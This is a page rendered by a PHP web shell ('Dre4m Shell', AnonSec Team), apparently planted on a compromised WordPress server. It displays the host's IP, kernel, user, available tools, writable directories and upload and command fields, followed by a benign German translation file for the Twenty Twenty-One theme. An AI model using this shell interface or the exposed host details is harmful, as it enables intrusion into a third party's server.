Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.224.32.243
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/languages/themes/twentytwentyone-de_DE.po
# Translation of Themes - Twenty Twenty-One in German
# This file is distributed under the same license as the Themes - Twenty Twenty-One package.
msgid ""
msgstr ""
"PO-Revision-Date: 2024-11-06 02:43:40+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: de\n"
"Project-Id-Version: Themes - Twenty Twenty-One\n"

#. Description of the theme
#: style.css
#, gp-priority: high
msgid "Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. With new block patterns, which allow you to create a beautiful layout in a matter of seconds, this theme’s soft colors and eye-catching — yet timeless — design will let your work shine. Take it for a spin! See how Twenty Twenty-One elevates your portfolio, business website, or personal blog."
msgstr "Twenty Twenty-One ist wie eine leere Leinwand für deine Ideen und macht den Block-Editor zu deinem besten Werkzeug. Mit den neuen Block-Vorlagen, mit denen du in Sekundenschnelle ein wunderschönes Layout erstellen kannst, lassen die sanften Farben und das ansprechende - und dennoch zeitlose - Design dieses Themes deine Arbeit erstrahlen. Nutze es für einen kreativen Ausflug! Und sieh, wie Twenty Twenty-One dein Portfolio, deine Business-Website oder deinen persönlichen Blog aufwertet."

#. Theme Name of the theme
#: style.css classes/class-twenty-twenty-one-dark-mode.php:385
#: inc/block-patterns.php:24
#, gp-priority: high
msgid "Twenty Twenty-One"
msgstr "Twenty Twenty-One"

#: inc/template-tags.php:241
msgid "Older <span class=\"nav-short\">posts</span>"
msgstr "Ältere <span class=\"nav-short\">Beiträge</span>"

#: inc/template-tags.php:230
msgid "Newer <span class=\"nav-short\">posts</span>"
msgstr "Neuere <span class=\"nav-short\">Beiträge</span>"

#: classes/class-twenty-twenty-one-customize-notice-control.php:40
#: classes/class-twenty-twenty-one-dark-mode.php:178
msgid "https://wordpress.org/documentation/article/twenty-twenty-one/#dark-mode-support"
msgstr "https://wordpress.org/documentation/article/twenty-twenty-one/#dark-mode-support"

#. translators: %s: Twenty Twenty-One support article URL.
#: classes/class-twenty-twenty-one-dark-mode.php:177
msgid "Dark Mode is a device setting. If a visitor to your site requests it, your site will be shown with a dark background and light text. <a href=\"%s\">Learn more about Dark Mode.</a>"
msgstr "Der Dark Mode ist eine Geräteeinstellung. Wenn ein Besucher deiner Website dies anfordert, wird deine Website mit einem dunklen Hintergrund und hellem Text angezeigt <a href=\"%s\">Erfahre mehr über den Dark Mode (engl.)</a>."

#: classes/class-twenty-twenty-one-dark-mode.php:181
msgid "Dark Mode can also be turned on and off with a button that you can find in the bottom corner of the page."
msgstr "Der Dark Mode kann auch mit einem Button in der unteren Ecke der Seite an- und ausgeschaltet werden."

#: classes/class-twenty-twenty-one-dark-mode.php:384
msgid "This website uses LocalStorage to save the setting when Dark Mode support is turned on or off.<br> LocalStorage is necessary for the setting to work and is only used when a user clicks on the Dark Mode button.<br> No data is saved in the database or transferred."
msgstr "Diese Website verwendet LocalStorage, um die Einstellung zu speichern, wenn die Unterstützung für den Dark Mode ein- oder ausgeschaltet wird.<br> LocalStorage ist notwendig, damit die Einstellung funktioniert, und wird nur verwendet, wenn ein Benutzer auf die Schaltfläche Dark Mode klickt.<br> Es werden keine Daten in die Datenbank gespeichert oder übertragen."

#: classes/class-twenty-twenty-one-dark-mode.php:383
msgid "Suggested text:"
msgstr "Vorgeschlagener Text:"

#: classes/class-twenty-twenty-one-dark-mode.php:382
msgid "Twenty Twenty-One uses LocalStorage when Dark Mode support is enabled."
msgstr "Twenty Twenty-One verwendet LocalStorage, wenn die Unterstützung für den Dark Mode aktiviert ist."

#: classes/class-twenty-twenty-one-dark-mode.php:188
msgid "Dark Mode support"
msgstr "Dark-Mode-Unterstützung"

#: classes/class-twenty-twenty-one-customize-notice-control.php:41
msgid "Learn more about Dark Mode."
msgstr "Erfahre mehr über den Dark Mode"

#: classes/class-twenty-twenty-one-customize-notice-control.php:39
msgid "To access the Dark Mode settings, select a light background color."
msgstr "Um auf die Einstellungen für den Dark Mode zugreifen zu können, wähle bitte eine helle Hintergrundfarbe aus."

#: classes/class-twenty-twenty-one-dark-mode.php:134
msgid "Colors & Dark Mode"
msgstr "Farben &amp; Dark Mode"

#: inc/template-tags.php:77
msgctxt "Label for sticky posts"
msgid "Featured post"
msgstr "Hervorgehobener Beitrag"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Submit"
msgstr "Senden"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Password"
msgstr "Passwort"

#: inc/template-functions.php:183
msgctxt "Added to posts and pages that are missing titles"
msgid "Untitled"
msgstr "Unbenannt"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "Cambridge, MA, 02139"
msgstr "20201 Stadtzentrum"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "123 Main Street"
msgstr "Künstlerinsel 560"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "123-456-7890"
msgstr "+49-12-345-6789"

#: inc/block-patterns.php:136
msgctxt "Block pattern sample content"
msgid "example@example.com"
msgstr "beispiel@example.com"

#: classes/class-twenty-twenty-one-customize.php:138
msgctxt "Customizer control"
msgid "Background color"
msgstr "Hintergrundfarbe"

#. translators: %s: WordPress Version.
#: inc/back-compat.php:42 inc/back-compat.php:61 inc/back-compat.php:86
msgid "This theme requires WordPress 5.3 or newer. You are running version %s. Please upgrade."
msgstr "Für dieses Theme ist mindestens WordPress&nsbp;5.3 oder neuer erforderlich. Hier läuft Version&nsbp;%s. Bitte führe ein Upgrade durch."

#. translators: %: Page number.
#: image.php:48 template-parts/content/content-page.php:36
#: template-parts/content/content-single.php:30
#: template-parts/content/content.php:36
msgid "Page %"
msgstr "Seite %"

#: functions.php:180
msgctxt "Font size"
msgid "XXXL"
msgstr "XXXL"

#: functions.php:174
msgctxt "Font size"
msgid "XXL"
msgstr "XXL"

#: functions.php:168
msgctxt "Font size"
msgid "XL"
msgstr "XL"

#: functions.php:162
msgctxt "Font size"
msgid "L"
msgstr "L"

#: functions.php:156
msgctxt "Font size"
msgid "M"
msgstr "M"

#: functions.php:150
msgctxt "Font size"
msgid "S"
msgstr "S"

#: functions.php:144
msgctxt "Font size"
msgid "XS"
msgstr "XS"

#: comments.php:85
msgid "Leave a comment"
msgstr "Schreibe einen Kommentar"

#. translators: %s: Comment count number.
#: comments.php:39
msgctxt "Comments title"
msgid "%s comment"
msgid_plural "%s comments"
msgstr[0] "%s Kommentar"
msgstr[1] "%s Kommentare"

#: comments.php:34
msgid "1 comment"
msgstr "Ein Kommentar"

#: classes/class-twenty-twenty-one-dark-mode.php:338
msgid "On"
msgstr "An"

#: classes/class-twenty-twenty-one-dark-mode.php:335
msgid "Off"
msgstr "Aus"

#. translators: %s: On/Off
#: classes/class-twenty-twenty-one-dark-mode.php:325
msgid "Dark Mode: %s"
msgstr "Dark Mode: %s"

#: inc/template-functions.php:422
msgid "This content is password protected. Please enter a password to view."
msgstr "Dieser Inhalt ist passwortgeschützt. Bitte gib ein Passwort ein, um ihn anzuzeigen."

#. translators: Hidden accessibility text.
#: inc/menu-functions.php:37
msgid "Open menu"
msgstr "Menü öffnen"

#: inc/block-patterns.php:125
msgid "&#8220;Reading&#8221; by Berthe Morisot"
msgstr "&#8222;Die Lektüre&#8220; von Berthe Morisot"

#: inc/block-patterns.php:101
msgid "&#8220;Self portrait&#8221; by Berthe Morisot"
msgstr "&#8222;Selbstporträt&#8220; von Berthe Morisot"

#: inc/block-patterns.php:101
msgid "&#8220;Daffodils&#8221; by Berthe Morisot"
msgstr "&#8222;Narzissen&#8220; von Berthe Morisot"

#: inc/block-patterns.php:89 inc/block-patterns.php:125
#: inc/starter-content.php:43
msgid "&#8220;Roses Trémières&#8221; by Berthe Morisot"
msgstr "&#8222;Roses Trémières (Stockrosen)&#8220; von Berthe Morisot"

#: inc/template-functions.php:424
msgctxt "Post password form"
msgid "Enter"
msgstr "Absenden"

#: inc/starter-content.php:128
msgctxt "Theme starter content"
msgid "Check out the Support Forums"
msgstr "Besuche die Support-Foren"

#: inc/starter-content.php:122
msgctxt "Theme starter content"
msgid "Read the Theme Documentation"
msgstr "Lies die Theme-Dokumentation"

#: inc/starter-content.php:112
msgctxt "Theme starter content"
msgid "Need help?"
msgstr "Brauchst du Hilfe?"

#: inc/starter-content.php:97
msgctxt "Theme starter content"
msgid "Twenty Twenty-One also includes an overlap style for column blocks. With a Columns block selected, open the \"Styles\" panel within the Editor sidebar. Choose the \"Overlap\" block style to try it out."
msgstr "Twenty Twenty-One enthält auch einen Überlappungsstil für Spaltenblöcke. Wenn ein Spaltenblock ausgewählt ist, öffne den Bereich „Stile“ in der Seitenleiste des Editors. Wähle den Blockstil „Überlappung“, um diesen auszuprobieren."

#: inc/starter-content.php:93
msgctxt "Theme starter content"
msgid "Overlap columns"
msgstr "Überlappe Spalten"

#: inc/starter-content.php:87
msgctxt "Theme starter content"
msgid "Twenty Twenty-One includes stylish borders for your content. With an Image block selected, open the \"Styles\" panel within the Editor sidebar. Select the \"Frame\" block style to activate it."
msgstr "Twenty Twenty-One enthält stilvolle Umrandungen für Ihren Inhalt. Wenn ein Bildblock ausgewählt ist, öffne den Bereich „Stile“ in der Seitenleiste des Editors. Wähle den Blockstil „Rahmen“ zum Aktivieren."

#: inc/starter-content.php:83
msgctxt "Theme starter content"
msgid "Frame your images"
msgstr "Rahme deine Bilder"

#: inc/starter-content.php:77
msgctxt "Theme starter content"
msgid "Block patterns are pre-designed groups of blocks. To add one, select the Add Block button [+] in the toolbar at the top of the editor. Switch to the Patterns tab underneath the search bar, and choose a pattern."
msgstr "Block-Vorlagen sind vorgefertigte Gruppen von Blöcken. Um eine solche Vorlage hinzuzufügen, wähle die Schaltfläche Block hinzufügen [+] in der Symbolleiste oben im Editor. Wechsle zur Registerkarte „Vorlagen“ unter der Suchleiste, und wähle eine Mustervorlage aus."

#: inc/starter-content.php:73
msgctxt "Theme starter content"
msgid "Add block patterns"
msgstr "Füge Block-Vorlagen ein"

#: inc/starter-content.php:30 inc/starter-content.php:33
msgctxt "Theme starter content"
msgid "Create your website with blocks"
msgstr "Gestalte deine Website mit Blöcken"

#: inc/block-patterns.php:125
msgid "Reading"
msgstr "Die Lektüre"

#: inc/block-patterns.php:125
msgid "Young Woman in Mauve"
msgstr "Junge Frau in Mauve"

#: inc/block-patterns.php:125
msgid "The Garden at Bougival"
msgstr "Der Garten in Bougival"

#: inc/block-patterns.php:125
msgid "In the Bois de Boulogne"
msgstr "Im Bois de Boulogne"

#: inc/block-patterns.php:125
msgid "Villa with Orange Trees, Nice"
msgstr "Villa mit Orangenbäumen, Nizza"

#: inc/block-patterns.php:125
msgid "Roses Trémières"
msgstr "Stockrosen"

#: inc/block-patterns.php:114
msgid "&#8220;Villa with Orange Trees, Nice&#8221; by Berthe Morisot"
msgstr "&#8222;Villa mit Orangenbäumen, Nizza&#8220; von Berthe Morisot"

#: inc/block-patterns.php:114
msgid "Beautiful gardens painted by Berthe Morisot in the late 1800s"
msgstr "Wunderschöne Gärten, gemalt von Berthe Morisot in den späten 1800er Jahren"

#: inc/block-patterns.php:114 inc/block-patterns.php:125
msgid "&#8220;The Garden at Bougival&#8221; by Berthe Morisot"
msgstr "&#8222;Der Garten in Bougival&#8220; von Berthe Morisot"

#: inc/block-patterns.php:89 inc/block-patterns.php:125
#: inc/starter-content.php:61
msgid "&#8220;Young Woman in Mauve&#8221; by Berthe Morisot"
msgstr "&#8222;Junge Frau in Mauve&#8220; von Berthe Morisot"

#: inc/block-patterns.php:89 inc/block-patterns.php:125
#: inc/starter-content.php:51
msgid "&#8220;In the Bois de Boulogne&#8221; by Berthe Morisot"
msgstr "&#8222;Im Bois de Boulogne&#8220; von Berthe Morisot"

#: inc/block-patterns.php:76
msgid "Berthe Morisot<br>(French, 1841-1895)"
msgstr "Berthe Morisot<br>(Frankreich, 1841-1895)"

#: inc/block-patterns.php:76
msgid "Playing in the Sand"
msgstr "Sandkuchen"

#: inc/block-patterns.php:76
msgid "&#8220;Playing in the Sand&#8221; by Berthe Morisot"
msgstr "&#8222;Sandkuchen&#8220; von Berthe Morisot"

#. translators: %s: Parent post.
#: image.php:61
msgid "Published in %s"
msgstr "Veröffentlicht unter %s"

#: classes/class-twenty-twenty-one-customize.php:108
msgid "Summary"
msgstr "Eine Kurzfassung"

#: classes/class-twenty-twenty-one-customize.php:85
msgid "Excerpt Settings"
msgstr "Textauszugs-Einstellungen"

#: inc/block-styles.php:98
msgid "Thick"
msgstr "Dick"

#: classes/class-twenty-twenty-one-customize.php:106
msgid "On Archive Pages, posts show:"
msgstr "Auf Archivseiten zeigen Beiträge:"

#. translators: %s: Author name.
#: template-parts/post/author-bio.php:31
msgid "View all of %s's posts."
msgstr "Alle Beiträge von %s anzeigen."

#. translators: %s: Author name.
#: inc/template-tags.php:49 template-parts/post/author-bio.php:19
msgid "By %s"
msgstr "Von %s"

#: template-parts/content/content-none.php:61
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Es sieht so aus, als ob wir nicht das finden konnten, wonach du gesucht hast. Möglicherweise hilft eine Suche."

#: template-parts/content/content-none.php:56
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Leider gibt es keine Übereinstimmung mit deinen Suchbegriffen. Bitte versuche es nochmal mit einigen anderen Begriffen."

#. translators: %s: Link to WP admin new post page.
#: template-parts/content/content-none.php:43
msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>."
msgstr "Bereit, deinen ersten Beitrag zu veröffentlichen? <a href=\"%s\">Starte hier</a>."

#: single.php:40
msgid "Previous post"
msgstr "Vorheriger Beitrag"

#: single.php:39
msgid "Next post"
msgstr "Nächster Beitrag"

#. translators: %s: Parent post link.
#: single.php:25
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%s</span>"
msgstr "<span class=\"meta-nav\">Veröffentlicht in</span><span class=\"post-title\">%s</span>"

#: searchform.php:26
msgctxt "submit button"
msgid "Search"
msgstr "Suchen"

#: searchform.php:24
msgid "Search&hellip;"
msgstr "Suche&nbsp;&hellip;"

#. translators: %d: The number of search results.
#: search.php:33
msgid "We found %d result for your search."
msgid_plural "We found %d results for your search."
msgstr[0] "Es gibt %d Ergebnis für deine Suche."
msgstr[1] "Es gibt %d Ergebnisse für deine Suche."

#. translators: %s: Search term.
#: search.php:21 template-parts/content/content-none.php:22
msgid "Results for \"%s\""
msgstr "Suchergebnisse für „%s“"

#. translators: %s: List of tags.
#: inc/template-tags.php:116 inc/template-tags.php:158
msgid "Tagged %s"
msgstr "Verschlagwortet mit %s"

#. translators: %s: List of categories.
#: inc/template-tags.php:107 inc/template-tags.php:149
msgid "Categorized as %s"
msgstr "Kategorisiert in %s"

#. translators: Used between list items, there is a space after the comma.
#: functions.php:653
msgid ", "
msgstr ", "

#. translators: %s: Post title. Only visible to screen readers.
#: image.php:70 image.php:96 inc/template-tags.php:92 inc/template-tags.php:133
#: template-parts/content/content-page.php:48
msgid "Edit %s"
msgstr "%s bearbeiten"

#. translators: %s: Post title. Only visible to screen readers.
#: inc/template-functions.php:138
msgid "Continue reading %s"
msgstr "%s weiterlesen"

#: inc/block-styles.php:71
msgid "Dividers"
msgstr "Trennzeichen"

#: inc/block-styles.php:62
msgid "Frame"
msgstr "Rahmen"

#: inc/block-styles.php:35 inc/block-styles.php:44 inc/block-styles.php:53
#: inc/block-styles.php:80 inc/block-styles.php:89
msgid "Borders"
msgstr "Ränder"

#: inc/block-styles.php:26
msgid "Overlap"
msgstr "Überlappung"

#: inc/block-patterns.php:135
msgctxt "Block pattern description"
msgid "A block with 3 columns that display contact information and social media links."
msgstr "Ein Block mit 3 Spalten, der Kontaktdaten und Social-Media-Links anzeigt."

#: inc/block-patterns.php:132
msgid "Contact information"
msgstr "Kontaktdaten"

#: inc/block-patterns.php:124
msgctxt "Block pattern description"
msgid "A list of projects with thumbnail images."
msgstr "Eine Liste von Projekten mit Vorschaubildern."

#: inc/block-patterns.php:122
msgid "Portfolio list"
msgstr "Portfolio-Liste"

#: inc/block-patterns.php:113
msgctxt "Block pattern description"
msgid "An overlapping columns block with two images and a text description."
msgstr "Ein Block mit überlappenden Spalten für zwei Bilder und eine Textbeschreibung."

#: inc/block-patterns.php:109
msgid "Overlapping images and text"
msgstr "Überlappende Bilder und Text"

#: inc/block-patterns.php:100
msgctxt "Block pattern description"
msgid "A media & text block with a big image on the left and a smaller one with bordered frame on the right."
msgstr "Ein Medien- und Textblock mit einem großen Bild links und einem kleineren Bild mit umrandetem Rahmen auf der rechten Seite."

#: inc/block-patterns.php:97
msgid "Two images showcase"
msgstr "Präsentation zweier Bilder"

#: inc/block-patterns.php:88
msgctxt "Block pattern description"
msgid "Three images inside an overlapping columns block."
msgstr "Drei Bilder innerhalb eines Blocks mit überlappenden Spalten."

#: inc/block-patterns.php:84
msgid "Overlapping images"
msgstr "Überlappende Bilder"

#: inc/block-patterns.php:75
msgctxt "Block pattern description"
msgid "A Media & Text block with a big image on the left and a heading on the right. The heading is followed by a separator and a description paragraph."
msgstr "Ein Medien- und Textblock mit einem großen Bild links und einer Überschrift rechts. Der Überschrift folgen ein optisches Trennzeichen und ein Absatz mit einer Beschreibung."

#: inc/block-patterns.php:72
msgid "Media and text article title"
msgstr "Bild mit Titel und Text"

#: inc/block-patterns.php:64
msgid "example@example.com"
msgstr "beispiel@example.com"

#: inc/block-patterns.php:64
msgid "Dribbble"
msgstr "Dribbble"

#: inc/block-patterns.php:64
msgid "Instagram"
msgstr "Instagram"

#: inc/block-patterns.php:64
msgid "Twitter"
msgstr "Twitter"

#: inc/block-patterns.php:64
msgid "Let&#8217;s Connect."
msgstr "Kontakt aufnehmen."

#: inc/block-patterns.php:63
msgctxt "Block pattern description"
msgid "A huge text followed by social networks and email address links."
msgstr "Ein riesiger Text, gefolgt von Links zu sozialen Netzwerken und E-Mail-Adressen."

#: inc/block-patterns.php:59
msgid "Links area"
msgstr "Link-Bereich"

#: inc/block-patterns.php:51
msgid "A new portfolio default theme for WordPress"
msgstr "Ein neues Portfolio-Standard-Theme für WordPress"

#: inc/block-patterns.php:47
msgid "Large text"
msgstr "Großer Text"

#. translators: Hidden accessibility text.
#: image.php:84
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "Vollständige Größe"

#. translators: %s: Publish date.
#: inc/template-tags.php:29
msgid "Published %s"
msgstr "Veröffentlicht am %s"

#: comments.php:61 image.php:45 inc/template-tags.php:224
#: template-parts/content/content-page.php:33
#: template-parts/content/content-single.php:27
#: template-parts/content/content.php:33
msgid "Page"
msgstr "Seite"

#: template-parts/header/site-nav.php:19
msgid "Close"
msgstr "Schließen"

#: template-parts/header/site-nav.php:16
msgid "Menu"
msgstr "Menü"

#: functions.php:69 inc/starter-content.php:154
#: template-parts/header/site-nav.php:13
msgid "Primary menu"
msgstr "Hauptmenü"

#. translators: Hidden accessibility text.
#: header.php:29
msgid "Skip to content"
msgstr "Zum Inhalt springen"

#: functions.php:356
msgid "Add widgets here to appear in your footer."
msgstr "Füge hier Widgets hinzu, die im Footer erscheinen sollen."

#: functions.php:354
msgid "Footer"
msgstr "Footer"

#: functions.php:302
msgid "Red to purple"
msgstr "Rot zu Lila"

#: functions.php:297
msgid "Purple to red"
msgstr "Lila zu Rot"

#: functions.php:292
msgid "Yellow to red"
msgstr "Gelb zu Rot"

#: functions.php:287
msgid "Red to yellow"
msgstr "Rot zu Gelb"

#: functions.php:282
msgid "Yellow to green"
msgstr "Gelb zu Grün"

#: functions.php:277
msgid "Green to yellow"
msgstr "Grün zu Gelb"

#: functions.php:272
msgid "Yellow to purple"
msgstr "Gelb zu Lila"

#: functions.php:267
msgid "Purple to yellow"
msgstr "Lila zu Gelb"

#: functions.php:256
msgid "White"
msgstr "Weiß"

#: functions.php:251
msgid "Yellow"
msgstr "Gelb"

#: functions.php:246
msgid "Orange"
msgstr "Orange"

#: functions.php:241
msgid "Red"
msgstr "Rot"

#: functions.php:236
msgid "Purple"
msgstr "Violett"

#: functions.php:231
msgid "Blue"
msgstr "Blau"

#: functions.php:226
msgid "Green"
msgstr "Grün"

#: functions.php:221
msgid "Gray"
msgstr "Grau"

#: functions.php:216 inc/block-styles.php:107
msgid "Dark gray"
msgstr "Dunkelgrau"

#: functions.php:211
msgid "Black"
msgstr "Schwarz"

#: functions.php:179
msgid "Gigantic"
msgstr "Gigantisch"

#: functions.php:173
msgid "Huge"
msgstr "Riesig"

#: functions.php:167
msgid "Extra large"
msgstr "Extra groß"

#: functions.php:161
msgid "Large"
msgstr "Groß"

#: functions.php:155
msgid "Normal"
msgstr "Normal"

#: functions.php:149
msgid "Small"
msgstr "Klein"

#: functions.php:143
msgid "Extra small"
msgstr "Sehr klein"

#. translators: %s: WordPress.
#: footer.php:67
msgid "Proudly powered by %s."
msgstr "Powered by %s."

#: footer.php:24 functions.php:70 inc/starter-content.php:165
msgid "Secondary menu"
msgstr "Untermenü"

#: comments.php:78
msgid "Comments are closed."
msgstr "Kommentare sind geschlossen."

#: comments.php:70
msgid "Newer comments"
msgstr "Neuere Kommentare"

#: comments.php:66
msgid "Older comments"
msgstr "Ältere Kommentare"

#: classes/class-twenty-twenty-one-customize.php:109
msgid "Full text"
msgstr "Den vollständigen Text"

#: classes/class-twenty-twenty-one-customize.php:75
msgid "Display Site Title & Tagline"
msgstr "Titel und Untertitel der Website anzeigen"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Wie es aussieht, wurde an dieser Stelle nichts gefunden. Möchtest du eine Suche starten?"

#: 404.php:16 template-parts/content/content-none.php:30
msgid "Nothing here"
msgstr "Nichts vorhanden"

#. Author URI of the theme
#: style.css footer.php:68
#, gp-priority: low
msgid "https://wordpress.org/"
msgstr "https://de.wordpress.org/"

#. Author of the theme
#: style.css
#, gp-priority: low
msgid "the WordPress team"
msgstr "Das WordPress-Team"

#. Theme URI of the theme
#: style.css
#, gp-priority: low
msgid "https://wordpress.org/themes/twentytwentyone/"
msgstr "https://de.wordpress.org/themes/twentytwentyone/"

Anon7 - 2022
AnonSec Team